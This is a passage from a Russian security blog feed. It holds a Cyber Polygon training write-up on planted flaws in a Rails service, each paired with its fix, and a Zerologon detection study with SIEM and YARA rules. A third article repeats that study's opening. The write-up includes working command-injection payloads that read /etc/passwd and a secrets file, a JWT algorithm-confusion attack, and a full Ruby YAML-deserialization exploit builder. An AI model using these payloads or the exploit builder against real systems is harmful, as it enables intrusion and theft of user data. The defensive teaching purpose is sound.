Процесс перебора числовых идентификаторов пользователей для получения флагаПроцесс перебора числовых идентификаторов пользователей для получения флага

Для защиты от этой уязвимостихорошей практикой считаетсямаскированиеконфиденциальных данных при их отображении пользователю. Так,номертелефона+71112223344можно отображать как+7111*****44.

Например:

def get  user = User.find(params[:id])  if params[:full].present?    # Masking user's phone number    uphone = user.phone    x = 5    y = uphone.length - 3    replacement = '*'*(y-x)    uphone[x..y] = replacement    json_response({      id: user.id,      name: user.name,      email: user.email,      phone: uphone    })  else    json_response({      id: user.id,      name: user.name    })  endend

В таком случае вместо полного значения флага Red Team получала бы строку видаPolyg********X}, а команда участников не теряла бы очки HP из-за эксплуатации этой уязвимости.

Внедрение команд ОС

Внедрение команд ОС (Command Injection) происходит в результате недостаточной фильтрации пользовательских данных.Используя эту уязвимость, злоумышленник может формировать ввод, содержащий команды ОС, которые выполняются на целевой системе с привилегиями уязвимого приложения.

В игровом сервисе уязвимость присутствовала в методеdisk_stats класса StatsController.

backend/app/controllers/stats_controller.rb:

def disk_stats  if params[:flags].present?    flags = params[:flags]  else    flags = ''  end  json_response({    disk: `df #{flags}`  })end

При обращении по адресу видаhttp://example.com/api/disk_stats в ответе сервиса
в полеdiskJSON-объекта возвращается вывод системной утилитыdf, позволяющей оценить количество свободного пространства в файловой системе.

В вызываемую команду, по задумке разработчика, можно передавать различные параметры, однако при этом их значение никак не фильтруется:

if params[:flags].present?  flags = params[:flags]~~~~~~~~~~~~~~~~~~~~~~~~~~  json_response({    disk: `df #{flags}`  })

Это означает, что потенциальный злоумышленник может выполнить практически любую команду всистеме, используя специальный синтаксис командной строки.

Так, например, выполнив запрос http://example.com/api/disk_stats?flags=;cat/etc/passwd, злоумышленник сможет прочитать содержимое системного файла/etc/passwd.

Содержимое файла /etc/passwd, полученное в ответе от сервераСодержимое файла /etc/passwd, полученное в ответе от сервера

Red Teamэксплуатироваладанный недостаток следующим образом:

  1. При помощи отправки запросаhttp://example.com/api/disk_stats?flags=>dev/null;cat config/secrets.ymlRed Team получала содержимое файлаbackend/config/secrets.yml, в котором хранился приватный ключ для подписи JWT-токенов.

  2. Имея приватный ключ, Red Team могла сформировать и подписать себе валидный JWT-токен для любого пользователя. Поскольку Red Team использовала актуальный приватный ключ сервиса, данный токен был бы успешно провалидирован и принят приложением.

  3. При помощи отправки запросаhttp://example.com/api/meот лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя и проверяла, нет ли в нем флага.

Приватный ключ сервиса, полученный в ответе от сервераПриватный ключ сервиса, полученный в ответе от сервера

Чтобы защититься от этой уязвимости,достаточно было запретить передавать какие-либо параметры в вызов команды, поскольку общая работоспособность системы не завязана
на использовании этого эндпоинта:

def disk_stats  json_response({    disk: `df`  })end

Небезопасная конфигурация

Уязвимостьнебезопасной конфигурации(Security Misconfiguration) возникает, как правило,
из-за человеческого фактора. Стандартные конфигурации приложений часто недостаточно ориентированы на безопасность. Из-за лени, недостатка внимания или некомпетентности обслуживающего персонала эти конфигурации порой остаются неадаптированными к суровым реалиям, что существенно сказывается на безопасности приложения.

В игровом сервисе эта уязвимость присутствовала в описании сервисаdbв файлеdocker-compose.yml.

  db:    image: postgres    restart: always    network_mode: bridge    volumes:      - ./db_data:/var/lib/postgresql/data    ports:      - 5432:5432    environment:      POSTGRES_DB: ch4ng3      POSTGRES_USER: ch4ng3      POSTGRES_PASSWORD: ch4ng3

Как можно заметить, сетевой порт базы данных доступен из внешней сети:

  ports:      - 5432:5432

Кроме того, сервер базы данных использует вкачестве имени базы данных, имени пользователя ипароля одну итуже строку, ктомуже совпадающую сименем сервиса ch4ng3.org.

Обнаружив врезультате сканирования сети порт базы данных, Red Team смогла подобрать логин ипароль кэтой базе данных. После этого она выполнила следующий SQL-запрос, получив врезультате сразу все номера пользовательских телефонов, вкоторых хранились флаги:

SELECT phone FROM users WHERE phone LIKE 'Polygon%'
Пример исполнения вышеприведенного SQL-запросаПример исполнения вышеприведенного SQL-запроса

Для защиты от этой уязвимостиидеальным решением стал бы запрет на подключение к базе данных из внешней сети и смена пароляпользователя базы данных (при этом нужно было
не забыть внести соответствующие изменения в конфигурацию сервисаapi):

  db:    image: postgres    restart: always    network_mode: bridge    volumes:      - ./db_data:/var/lib/postgresql/data    environment:      POSTGRES_DB: ch4ng3      POSTGRES_USER: ch4ng3      POSTGRES_PASSWORD: <VERY_SECRET_PASSWORD>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    environment:      - DATABASE_URL=postgres://ch4ng3:<VERY_SECRET_PASSWORD>@db:5432/ch4ng3?sslmode=disable

Однако достаточно былопредпринять одно действие из двух: сменить пароль пользователя базы данных на более безопасный либо запретить подключения к базе данных из внешней сети.

Изменение алгоритма подписи JWT

Следующая заложенная в игровом сервисе уязвимость была связана сосменой алгоритма подписи JWT.

В игровом сервисе уязвимость присутствовала в методеdecodeклассаJsonWebToken.

backend/app/lib/json_web_token.rb:

def self.decode(token, algorithm)  # cannot store key as ruby object in yaml file  public_key = Rails.application.secrets.public_key_base  if algorithm == 'RS256'    public_key = OpenSSL::PKey::RSA.new(public_key)  end  # get payload; first index in decoded array  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]  HashWithIndifferentAccess.new body  # rescue from expiry exceptionrescue JWT::ExpiredSignature, JWT::VerificationError => e  # raise custom error to be handled by custom handler  raise ExceptionHandler::InvalidToken, e.messageend

Стоит более внимательно присмотреться к следующим строкам:

public_key = Rails.application.secrets.public_key_baseif algorithm == 'RS256'  public_key = OpenSSL::PKey::RSA.new(public_key)end# get payload; first index in decoded arraybody = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]

Приложение подгружает строку с публичным ключом сервиса из файлаконфигурации и, если
в токене был передан алгоритмRS256, производит преобразование этой строки в публичный ключ RSA, который в дальнейшем используется для проверки подписи токена.

Легитимный запрос на получение пользовательских данныхЛегитимный запрос на получение пользовательских данныхДекодированный токен из предыдущего запроса. В поле alg передано значение RS256Декодированный токен из предыдущего запроса. В поле alg передано значение RS256

Можно заметить,что, еслив параметреalgorithmпередано любое другое значение, преобразования строки с публичным ключом не произойдет. Если передать в полеalgJWT значениеHS256, то для проверки подписи токена будет использован симметричный алгоритм HMAC, и именно эта строка с публичным ключом будет использована в качестве ключа для проверки подписи токена.

Red Team эксплуатировала данный недостаток следующим образом:

  1. При помощи отправки запросаhttp://example.com/api/auth/third_partyRed Team получала публичный ключ сервиса из поляpublic_keyполученного JSON-объекта.

  2. Имея публичный ключ, Red Team могла сформировать валидный JWT-токен для любого пользователя, передав в полеalgJWT значениеHS256и подписав токен, используя
    в качестве секрета для алгоритма HMAC строку, содержащую публичный ключ сервиса.

  3. При помощи отправки запроса http://example.com/api/me от лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя ипроверяла, нетли внем флага.

Публичный ключ сервиса, полученный с использованием легитимной функциональности Публичный ключ сервиса, полученный с использованием легитимной функциональности Новый токен подписан при помощи алгоритма HS256Новый токен подписан при помощи алгоритма HS256Новый токен успешно проходит проверку, и сервис возвращает пользовательские данныеНовый токен успешно проходит проверку, и сервис возвращает пользовательские данные

Чтобы защититься от этой уязвимости,можно было руководствоваться следующей рекомендацией: при работе с JWT желательно использовать одновременно только один алгоритм подписи либо симметричный, либо асимметричный. Так, самое простое исправление будет выглядеть следующим образом:

backend/app/lib/json_web_token.rb:

def self.decode(token, algorithm)  # cannot store key as ruby object in yaml file  public_key = Rails.application.secrets.public_key_base  if algorithm == 'RS256'    public_key = OpenSSL::PKey::RSA.new(public_key)  else    raise ExceptionHandler::InvalidToken, Message.invalid_token  end  # get payload; first index in decoded array  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]  HashWithIndifferentAccess.new body  # rescue from expiry exceptionrescue JWT::ExpiredSignature, JWT::VerificationError => e  # raise custom error to be handled by custom handler  raise ExceptionHandler::InvalidToken, e.messageend

Теперь, если передать в полеalgтокена значение, отличное отRS256, токен будет помечен как невалидный и Red Team не сможет получить доступ к приложению от лица других пользователей, подписывая токены публичным ключом сервиса.

Небезопасная десериализация YAML

Последняя заложенная в игровом сервисе уязвимость была связана снебезопасной десериализациейYAML.

Подписанные пользователем петиции в личном кабинетеПодписанные пользователем петиции в личном кабинете

За импорт петиций через их описание в формате YAML отвечал методimportклассаPetitionsController.

backend/app/controllers/petitions_controller.rb:

def import  yaml = Base64.decode64(params[:petition])  begin    petition = YAML.load(yaml)  rescue Psych::SyntaxError => e    json_response({message: e.message}, 500)    return  rescue => e    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)    return  end  if petition['created_at']    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])  else    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])  end  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)  json_response(petition)end

Особое внимание стоило уделить следующим строкам кода:

yaml = Base64.decode64(params[:petition])begin  petition = YAML.load(yaml)rescue Psych::SyntaxError => e  json_response({message: e.message}, 500)  return

Как можно заметить, содержимоеYAML-объектаберется из base64-кодированного параметраpetition, после чего преобразуется в объекты языка Ruby конструкциейYAML.load(yaml).

Данная конструкция является небезопасной и позволяет, в том числе, выполнить на целевой системе произвольный код на языке Ruby в контексте уязвимого приложения, чем
и пользовалась Red Team.

При помощи следующего скриптабылсгенерированYAML-объект, эксплуатирующий данный недостаток:

require "erb"require "base64"require "active_support"if ARGV.empty?  puts "Usage: exploit_builder.rb <source_file>"  exit!enderb = ERB.allocateerb.instance_variable_set :@src, File.read(ARGV.first)erb.instance_variable_set :@lineno, 1depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :resultpayload = Base64.encode64(Marshal.dump(depr))puts <<-PAYLOAD---!ruby/object:Gem::Requirementrequirements:  - !ruby/object:Rack::Session::Abstract::SessionHash      req: !ruby/object:Rack::Request        env:          rack.session: !ruby/object:Rack::Session::Abstract::SessionHash            loaded: true          HTTP_COOKIE: "a=#{payload}"      store: !ruby/object:Rack::Session::Cookie        coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}        key: a        secrets: []      exists: truePAYLOAD

В качестве полезной нагрузки был использован следующий код:

phones = ''User.all().each do |user|  phones += user.phone + ';'  endraise phones

Код получал номера телефонов всех зарегистрированных всервисе пользователей, объединял ихдруг сдругом через ; ипри помощи конструкции raise вызывал исключение, передавая вкачестве сообщения обошибке строку, содержащую номера телефонов пользователей.

Сообщение об ошибке далее возвращалось сервером в поле JSON-объектаmessageвместе
с кодом ответа 500. При получении такого ответа Red Teamоставалосьтолько найти флаг
в сообщении об ошибке.

Номера телефонов всех зарегистрированных пользователей (в том числе и содержащие флаги) возвращаются от сервера в сообщении об ошибкеНомера телефонов всех зарегистрированных пользователей (в том числе и содержащие флаги) возвращаются от сервера в сообщении об ошибке

Чтобы защититься от данной уязвимости,достаточнобыло заменить вызов функцииYAML.load(yaml)на вызов функцииYAML.safe_load(yaml). Однако чекер в процессе проверки функциональности проверял, чтобы в переданномYAML-объектебыло возможно использовать алиасы. Поэтому результирующая конструкция будет выглядеть примерно так:YAML.safe_load(yaml, aliases: true).

А результирующая безопасная функция так:

def import  yaml = Base64.decode64(params[:petition])  begin    petition = YAML.safe_load(yaml, aliases: true)  rescue Psych::SyntaxError => e    json_response({message: e.message}, 500)    return  rescue => e    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)    return  end  if petition['created_at']    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])  else    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])  end  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)  json_response(petition)end

Послесловие

Итак, мырассмотрели уязвимости, заложенные вигровом сервисе Defence-сценария тренинга Cyber Polygon, разобрали способы ихэксплуатации ипривели примеры исправлений, которые позволилибы участникам защитить свой сервис отатак Red Team.

Конечно, наши варианты устранения уязвимостей неединственно верные. Мыпросто перечислили теспособы, которыми воспользовалисьбы сами.

Сценарий предусматривал, что участники могут защититься, неисправляя код всвоих игровых сервисах. Например, для защиты оттретьей уязвимости Security Misconfiguration, связанной снебезопасной конфигурацией Docker, достаточно было заблокировать порт базы данных нафайрволе.

Однако мыубеждены, что лучшее решение исправлять недостатки сервисов иприложений, анеприкрывать ихспомощью компенсационных мер защиты, которые рано или поздно атакующий может обойти. Вот почему мыподробно рассмотрели корректировку исходного кода для защиты отуязвимостей.

Если выучаствовали вCyber Polygon, напишите, что вам показалось самым полезным. Амыпока пойдем писать райтап ковторому сценарию Response, посвященному расследованию киберинцидентов.

Подробнее..

Zerologon практические методы выявления фактов эксплуатации уязвимости

03.11.2020 12:06:29 | Автор: admin

CVE-2020-1472, или Zerologon, уже получила звание одной изсамых опасных уязвимостей, обнаруженных запоследние годы. Она позволяет атакующему скомпрометировать учетную запись машинного аккаунта контроллера домена иполучить доступ ксодержимому всей базы Active Directory. Для эксплуатации достаточно наличия сетевой связности сконтроллером домена организации.


Мыпровели собственное исследование Zerologon иразработали различные методы обнаружения ееэксплуатации: пособытиям журналов аудита Windows, посетевому трафику ипри помощи YARA-правил. Вэтой статье подробно остановимся накаждом изних.


Вчем суть уязвимости Zerologon


Zerologon это уязвимость впротоколе шифрования, который использует служба Netlogon. Протокол позволяет компьютерам проходить аутентификацию наконтроллере домена иобновлять пароль своего аккаунта вActive Directory. Именно эта особенность делает Zerologon опасной. Вчастности, уязвимость позволяет атакующему выдать себя законтроллер домена иизменить его пароль. Злоумышленник получает доступ кконтроллеру домена cнаивысшими привилегиями, аследовательно иккорпоративной сети. После смены пароля атакующий может использовать учетную запись контроллера домена для развития атаки, например, выполнив атаку DCSync (получение учетных записей Active Directory через механизм репликации).


Всентябре голландский исследователь безопасности Том Тервоорт изкомпании Secura опубликовал подробное описание уязвимости. Выяснилось, что Zerologon вызвана недостатком всхеме криптографической аутентификации, которую использует Netlogon Remote Protocol (MS-NRPC). Рукопожатие иаутентификация MS-NRPC предполагают использование режима AES-CFB8 (с8-битным режимом обратной связи пошифротексту). Это вариант блочного шифра AES, который предназначен для работы сблоками входных данных по8байт вместо обычных 16байт (128-бит).


Как обнаружил Тервоорт, применение шифрования AES-CFB8к состоящему изодних нулей открытому тексту приведет ктакомуже состоящему изодних нулей зашифрованному тексту. Это происходит из-за ошибки реализации для 1из256ключей.


Обычно клиентский компьютер, который хочет взаимодействовать ссервером Netlogon, таким как контроллер домена Windows, начинает сотправки восьми случайных байтов (то, что часто называют nonce, сокращая фразу number used once) насервер.


Вавгусте 2020 года врамках августовского вторника Microsoft выпустила исправление уязвимости. Этот патч сделал механизмы безопасности Netlogon (которые отключал Zerologon) обязательными для всех аутентификационных операций, что эффективно предотвращает атаки. Релиз второго патча, полностью закрывающего уязвимость, запланирован нафевраль 2021года.


Этапы эксплуатации Zerologon


Согласно техническому документу Secura, процесс эксплуатации Zerologon состоит изтрех этапов.


  1. Отправка нулевых байтов. Вместо отправки восьми случайных байтов атакующий отправляет 8нулевых байтов. Злоумышленник повторяет отправку таких сообщений, пока сервер успешно непримет одно изних, итем самым обходит процесс аутентификации. Вслучае сZerologon для успешного соединения ссервером требуется всреднем 256 попыток отправки сообщения ClientChallenge, состоящего изодних нулей.


  2. Отключение механизма RPC signing and sealing. MS-NRPC использует механизм RPC signing and sealing для шифрования транспортного уровня. Обычно шифрование обязательный процесс при передаче данных, новMS-NRPC этот механизм неявляется обязательным иуправляется клиентом. Сервер небудет отказывать вустановлении соединения клиентам, которые незапрашивают использование шифрования. Это означает, что выможете просто отключить шифрование взаголовке сообщения. Собственно, вторая стадия изаключается вотключении механизма RPC signing and sealing, чтобы сообщения отправлялись воткрытом виде иатакующий мог использовать методы протокола MS-NRPC.


  3. Изменение пароля учетной записи. Третья стадия эксплуатации уязвимости Zerologon заключается визменении пароля для учетной записи контроллера домена, соединение отимени которого было установлено ранее. Атакующие при помощи метода NetrServerPasswordSet вMS-NRPC могут изменить пароль учетной записи компьютера. Самый простой способ использования этого метода заключается вудалении текущего пароля или, другими словами, установке пароля впустое значение. Также возможно изменить пароль, просто отправив запрос спредпочтительным новым паролем. После смены пароля атакующие могут использовать учетную запись контроллера домена для развития атаки, например, как упоминалось ранее, выполнить репликацию базы данных Active Directory.



PoC иэксплоиты


Первый PoC опубликовала компания Secura наGitHub. Скрипт попытается проэксплуатировать уязвимость Zerologon: после успешного установления соединения оннемедленно завершит работу инебудет выполнять никаких действий через Netlogon.


Что касается эксплоитов, намомент публикации этой статьи ихпоявилось уже много. Однако все они ведут себя одинаково: либо сбрасывают пароль, либо устанавливают его вопределенное пользователем значение.


Есть также альтернативный метод эксплуатации Zerologon, найденный исследователем безопасности Дирк-Яном Моллема. Ноониспользуется вместе сдругими уязвимостями изаслуживает отдельной статьи.


Методы обнаружения


Целью нашего исследования было найти все возможные методы обнаружения факта эксплуатации Zerologon. Мыразработали ипротестировали логику правил корреляции, сигнатур для сетевых IPS-\IDS-систем, атакже YARA-правило для выявления артефактов впамяти процесса LSASS.


Обнаружение сиспользованием журнала отладки Netlogon


Поскольку эксплуатируется уязвимость впротоколе Netlogon, рассмотрим журнал событий Netlogon. Поумолчанию вжурналах Windows аудиту подлежит лишь часть событий, однако можно включить режим отладки Netlogon спомощью команды nltest /dbflag:0x2080ffff, которая должна быть запущена отимени администратора. После этого служба Netlogon будет сохранять большую часть важных событий в файл журнала, который можно найти по пути C:\Windows\debug\netlogon.txt. Затем необходимо перезапустить службу Netlogon. Наскриншоте ниже несколько интересных строк, которые были записаны службой Netlogon вжурнал впроцессе эксплуатации уязвимости Zerologon.



Пример событий, записанных вотладочном журнале Netlogon входе эксплуатации уязвимости Zerologon


При настроенном режиме отладки Netlogon вжурнале фиксируется каждый этап атаки идаже присутствует MD5-хеш пароля, который был установлен для учетной записи контроллера домена. MD5-хеш записывается вформате little-endian. Однако подобный способ мониторинга неочень удобный сточки зрения сбора событий вSIEM-систему, кроме того, онтребует включения режима отладки Netlogon навсех контроллерах домена.


Обнаружение артефактов, оставленных эксплоитами


Первая стадия процесса эксплуатации это фактически брутфорс. Эксплоит множество раз пытается аутентифицироваться спомощью Netlogon наконтроллере домена ссообщением ClientChallenge, состоящим из8нулевых байт. Множественные неуспешные попытки аутентификации приводят кгенерации события 5805на контроллере домена: The session setup from the computer failed toauthenticate. The following error occurred: Access isdenied (см. пример события наскриншоте ниже).

Кроме того, если вэксплоите было указано неверное имя учетной записи контроллера домена, топопытка аутентификации сневерной учетной записью вызывает генерацию события 5723на контроллере домена: The session setup from computer failed because the security database does not contain atrust account referenced bythe specified computer (наскриншоте ниже).

Вслучае эксплуатации Zerologon при помощи утилиты mimikatz или других эксплоитов, запущенных схоста сименем kali, всобытиях остаются артефакты (имя хоста сустановленной ОСKali Linux меняется крайне редко, поэтому иучитывается вправиле). Mimikatz снеизмененным исходным кодом оставляет артефакт ввиде подстроки mimikatz всобытиях 5805 и5723.


Врамках исследования мытакже рассмотрели различные вариации использования эксплоитов ивыявили случаи эксплуатации уязвимости Zerologon свиртуальной машины под управлением ОСKali Linux, при которых всобытиях 5805 и5723 оставался артефакт ввиде подстроки kali, указанной вкачестве хоста источника аутентификации.



Событие 5805. Ошибка аутентификации сессии схоста kali. Доступ запрещен



Событие 5723. Ошибка установления сессии схоста mimikatz из-за отсутствия вбазе данных безопасности аккаунта evildc


Таким образом, логика первого правила обнаружения попытки эксплуатации уязвимости Zerologon будет выглядеть следующим образом:
(EventID = 5805 OREventID = 5723) AND (Message contains kali ORMessage contains mimikatz)


Обнаружение наосновании различий легитимной смены пароля отэксплуатации уязвимости


Теперь рассмотрим методы обнаружения, основанные наразличном наборе событий при периодическом легитимном обновлении пароля учетной записи компьютера ипри его смене при эксплуатации Zerologon.


Максимальный срок действия пароля учетной записи компьютера поумолчанию 30дней. Поистечении этого срока пароль будет изменен средствами операционной системы сиспользованием протокола Netlogon. Данное значение может быть изменено при помощи локальной или групповой политики:


Computer Configuration Policies Windows Settings Security Settings Local Policies Security Options Domain member: Maximum machine account password age.


При изменении пароля учетной записи компьютера вжурнале событий Security будет сгенерировано несколько событий. Первое изних это событие сEventID 4742 Acomputer account was changed, которое имеет TargetUserName, равное имени учетной записи контроллера домена, аPasswordLastSet установлено вдату смены пароля. Это событие означает, что пароль учетной записи компьютера контроллера домена был изменен.



Событие 4742. Пароль учетной записи DC$ был изменен в5:46:34PM


Вжурнале событий System есть еще одно интересное событие сEventID 5823 The system successfully changed its password onthe domain controller. This event islogged when the password for the computer account ischanged bythe system. Itislogged onthe computer that changed the password. Это событие означает, что учетная запись компьютера была легитимно изменена системой.


Событие 5823. Пароль учетной записи контроллера домена был успешно изменен системой в5:46:34PM


Таким образом, при легитимной смене пароля учетной записи контроллера домена будет сгенерировано два события: 5823 и4742. Однако при эксплуатации Zerologon событие 5823 будет отсутствовать вжурнале аудита.


Логика второго правила обнаружения эксплуатации уязвимости Zerologon может выглядеть следующим образом:


when bothof (EventID = 4742 AND TargetUserName INDomain_Controller_Accounts_List AND PasswordLastSet != -) and not (EventID = 5823) were detected onthe same host within 1minute


Реализованное поописанной выше логике правило позволит свысокой точностью обнаружить факты эксплуатации уязвимости Zerologon. Дополнительной настройки политики аудита для его работы непотребуется. Единственное, что потребуется, подготовить список контроллеров домена организации ипоместить его внабор Domain_Controller_Accounts_List.


Однако можно посмотреть напроцесс обнаружения эксплуатации уязвимости Zerologon под другим углом. Ранее мыписали, что первая стадия эксплуатации это брутфорс. Поэтому, если втечение одной минуты наодном контроллере домена будут обнаружены оба события 5805 и4742, это также будет свидетельствовать офакте успешной эксплуатации Zerologon.


Логика нашего третьего правила для обнаружения эксплуатации уязвимости Zerologon, может выглядеть следующим образом:


when bothof (EventID = 4742 AND TargetUserName INDomain_Controller_Accounts_List AND PasswordLastSet != -) and (EventID = 5805) were detected onthe same host within 1minute


Обнаружение эксплуатации наоснове сетевого трафика


Как мыупоминали вначале статьи, первый этап эксплуатации уязвимости подразумевает множественные попытки отправки ClientChallenge спредустановленным нулевым значением ключа для обхода аутентификации. Как показала практика, вподавляющем большинстве случаев для обхода механизма аутентификации необходимо неменее 10попыток. Такая аномалия может быть легко обнаружена всетевом трафике. Обращения попротоколу DCE/RPC сотправкой запросов наполучение ServerChallenge методом NetrServerReqChallenge ипопытками аутентификации методами NetrServerAuthenticate снулевым значением ClientChallenge осуществляются наRPC-интерфейс MS-NRPC.


Трафик Mimikatz версии 2.2.0-20200916 без шифрования нагрузки DCE/RPC при обходе аутентификации снулевым значением ключа содержит артефакт впеременной Computer Name метода NetrServerReqChallenge (Opnum4).



Трафик Mimikatz версии 2.2.0-20200916 при обходе аутентификации


Трафик Mimikatz версии 2.2.0-20200918с шифрованием нагрузки DCE/RPC (посредством использования NTLMSSP суровнем аутентификации RPC_C_AUTHN_LEVEL_PKT_PRIVACY) несодержит уникальных артефактов. Однако атаку можно выявить помногократно повторяющимся методам NetrServerReqChallenge (Opnum4) иNetrServerAuthenticate2 (Opnum15) втрафике отединственного источника запромежуток времени внесколько секунд.



Зашифрованный трафик Mimikatz версии 2.2.0-20200918 при обходе аутентификации


Посредством PoC отправка пар методов NetrServerReqChallenge иNetrServerAuthenticate осуществляется вотдельных TCP-сессиях. При этом концептуально подход квыявлению наоснове повторяющихся пар NetrServerReqChallenge иNetrServerAuthenticate остается темже.


Назаключительном этапе атаки при помощи метода NetrServerPasswordSet2 (Opnum30) споследовательностью из516 нулевых байтов для учетной записи компьютера контроллера домена устанавливается пустой пароль.



Трафик запроса насброс пароля методом NetrServerPasswordSet2


Таким образом, обнаружить атаку Zerologon посетевому трафику возможно поаномально большому количеству запросов отединственного источника попротоколу DCE/RPC спарами методов NetrServerReqChallenge иNetrServerAuthenticate закороткий промежуток времени. При определенных условиях можно более точно идентифицировать активность, основываясь науникальных артефактах втрафике, аненастатистических аномалиях.


Обнаружение артефактов вадресном пространстве LSASS


Поскольку вовремя эксплуатации уязвимости Zerologon происходит аутентификация наконтроллере домена сиспользованием MS-NRPC функции hNetrServerAuthenticate2 (hNetrServerAuthenticate3), впроцессе аутентификации задействуется сервис проверки подлинности локальной системы (LSASS). Врезультате обращения ксерверу проверки подлинности вадресное пространство процесса lsass.exe попадает артефакт структура, содержащая параметры, переданные вфункцию hNetrServerAuthenticate2 (hNetrServerAuthenticate3) (см. рисунок ниже).


server_auth = nrpc.hNetrServerAuthenticate3(          rpc_con,          '\\\\' + compname + '\\x00',        #\\\\dc          compname + '$\\x00',                #dc          nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, #6          compname + '\\x00',                 #dc          ciphertext,                         #00000000          flags                               #0x212fffff)

Пример вызова функции hNetrServerAuthenticate3с передаваемыми ейаргументами



Фрагмент дампа адресного пространства процесса lsass сартефактами после эксплуатации уязвимости Zerologon


Нафрагменте исходного кода одного изэксплоитов ифрагменте дампа адресного пространства процесса lsass сартефактами, оставшимися после эксплуатации, видна взаимосвязь. Переданные вфункцию аргументы остались впамяти, общая структура данных сохранилась. Если смотреть сконца, 4байта (0212fffff) представляют собой флаги Netlogon Negotiable Options. Перед ним располагаются 8нулевых байтов, представляющие собой нулевой шифротекст. Затем перед ними трижды записывается имя хоста DCв такомже виде ипорядке, вкотором аргументы были переданы вфункцию. Также впамяти виден байт, означающий тип безопасного канала Netlogon ServerSecureChannel (06).


Однако иногда понеустановленным причинам этот идругие байты могут принимать различные значения, несвязанные сописанием выше. Артефакты вадресном пространстве процесса lsass.exe хранятся всегменте, который неподразумевает долговременного хранения данных, имогут быть удалены влюбой момент после появления. Наше исследование показало, что вбольшинстве случаев артефакты остаются впамяти процесса lsass.exe недольше получаса, после чего перезаписываются другими данными.


Основным маркером, позволяющим находить данный участок адресного пространства ииспользовать его для дальнейших проверок, являются флаги Netlogon Negotiable Options. Они представляют собой 32-битное число, которое формируется вбинарном виде изнабора различных параметров.


Поинформации изтехнического документа компании Secura, атакже других исследований данной уязвимости, второй этап эксплуатации Zerologon это отключение механизма RPC signing and sealing посредством отключения нужного бита вофлаге. Вовсех рассмотренных эксплоитах иисследованиях для отключения данного механизма используется значение флагов 0212fffff. Однако наше исследование показало, что единственный влияющий науспешную эксплуатацию параметр это 25-й бит, отвечающий завключение поддержки AES-CFB8 Supports Advanced Encryption Standard (AES) encryption (128 bit in8-bit CFB mode) and SHA2hashing. Для успешной эксплуатации уязвимости требуется лишь этот флаг, остальные могут быть установлены в1или0, это неповлияет нарезультат. Тем самым изменение нескольких бит вофлаге влечет засобой потерю искомого якоря вадресном пространстве lsass ввиде байт ffff2f21, содержащих всебе флаги, которые используют все протестированные вовремя исследования эксплоиты.


Помимо обхода детектирующей логики YARA-правил, окоторых расскажем ниже, использование некоторых флагов Netlogon Negotiable Options приводит ктому, что вадресном пространстве lsass неостается артефактов, покоторым возможно выявить факт эксплуатации уязвимости Zerologon. Один изтаких флагов 0312fffff. Так подтверждается гипотеза отом, что флаги, которые порезультатам исследований позволяют отключить механизм RPC signing and sealing, насамом деле для этого непредназначены.


Входе исследования мыпроанализировали различные YARA-правила (втом числе разработанное специалистами изкомпании Cynet), нацеленные наобнаружение следов эксплуатации уязвимости Zerologon впамяти системы. Мыустановили, что существующие правила неучитывают различных аномалий, связанных смодификацией некоторых значащих байт вадресном пространстве, ирешили реализовать новое YARA-правило, учитывающее эти аномалии.


Необходимо напомнить, что эксплуатация возможна при практически любом сочетании флагов Netlogon Negotiable Options, нопри этом именно флаги служат якорем для обнаружения артефактов впамяти. Поэтому мыприняли такое ограничение: использовать внашем YARA-правиле распространенное сочетание флагов 0212fffff. Впроцессе разработки мыпротестировали различные эксплоиты, втом числе модуль zerologon утилиты mimikatz. Полученное правило протестировано наОСWindows Server 2012R2 иWindows Server 2016.


YARA-правило, разработанное входе исследования, представлено ниже.


rule Zerologon_exploit{    meta:        vulnerability = "CVE-2020-1472"        description = "Memory detection of Zerologon exploits"        reference = "<https://www.secura.com/blog/zero-logon>"        reference = "<https://www.cynet.com/zerologon>"    strings:        $pattern = {00 ?? ?? (0? | 10 | 11) 00 00 00 00 00 00 00 (0? | 10 | 11) 00 00 00 (4? | 5? | 6? | 7? | 2D) 00 [1-27] 00 (24 | 00) 00 00 00 ( 00 00 | 06 00 | 06 00 00 00) (0? | 10) 00 00 00 00 00 00 00 (0? | 10) 00 00 00  (4? | 5? | 6? | 7? | 2D) 00 [1-27] 00 00 00 [8] FF FF 2F 21}    condition:        $pattern}

YARA-правило для обнаружения фактов эксплуатации Zerologon


Выводы


Описанные выше правила наоснове журналов событий Windows, сетевой телеметрии, атакже YARA-правило можно использовать как поотдельности, так ивместе, что позволит нетолько детектировать факты эксплуатации Zerologon, ноиповысить скорость классификации инцидента.


Новости отом, что информационные системы той или иной компании зашифрованы входе атаки сиспользованием Zerologon, появляются все чаще. Поэтому нестоит забывать, что одной лишь возможности обнаружить факты эксплуатации Zerologon для защиты недостаточно. Значительно снизить риски поможет установка закрывающих уязвимость обновлений безопасности отMicrosoft.

Подробнее..

Охота на Zerologon

03.11.2020 14:09:04 | Автор: admin

CVE-2020-1472, или Zerologon, уже получила звание одной изсамых опасных уязвимостей, обнаруженных запоследние годы. Она позволяет атакующему скомпрометировать учетную запись машинного аккаунта контроллера домена иполучить доступ ксодержимому всей базы Active Directory. Для эксплуатации достаточно наличия сетевой связности сконтроллером домена организации.


Мыпровели собственное исследование Zerologon иразработали различные методы обнаружения ееэксплуатации: пособытиям журналов аудита Windows, посетевому трафику ипри помощи YARA-правил. Вэтой статье подробно остановимся накаждом изних.


Вчем суть уязвимости Zerologon


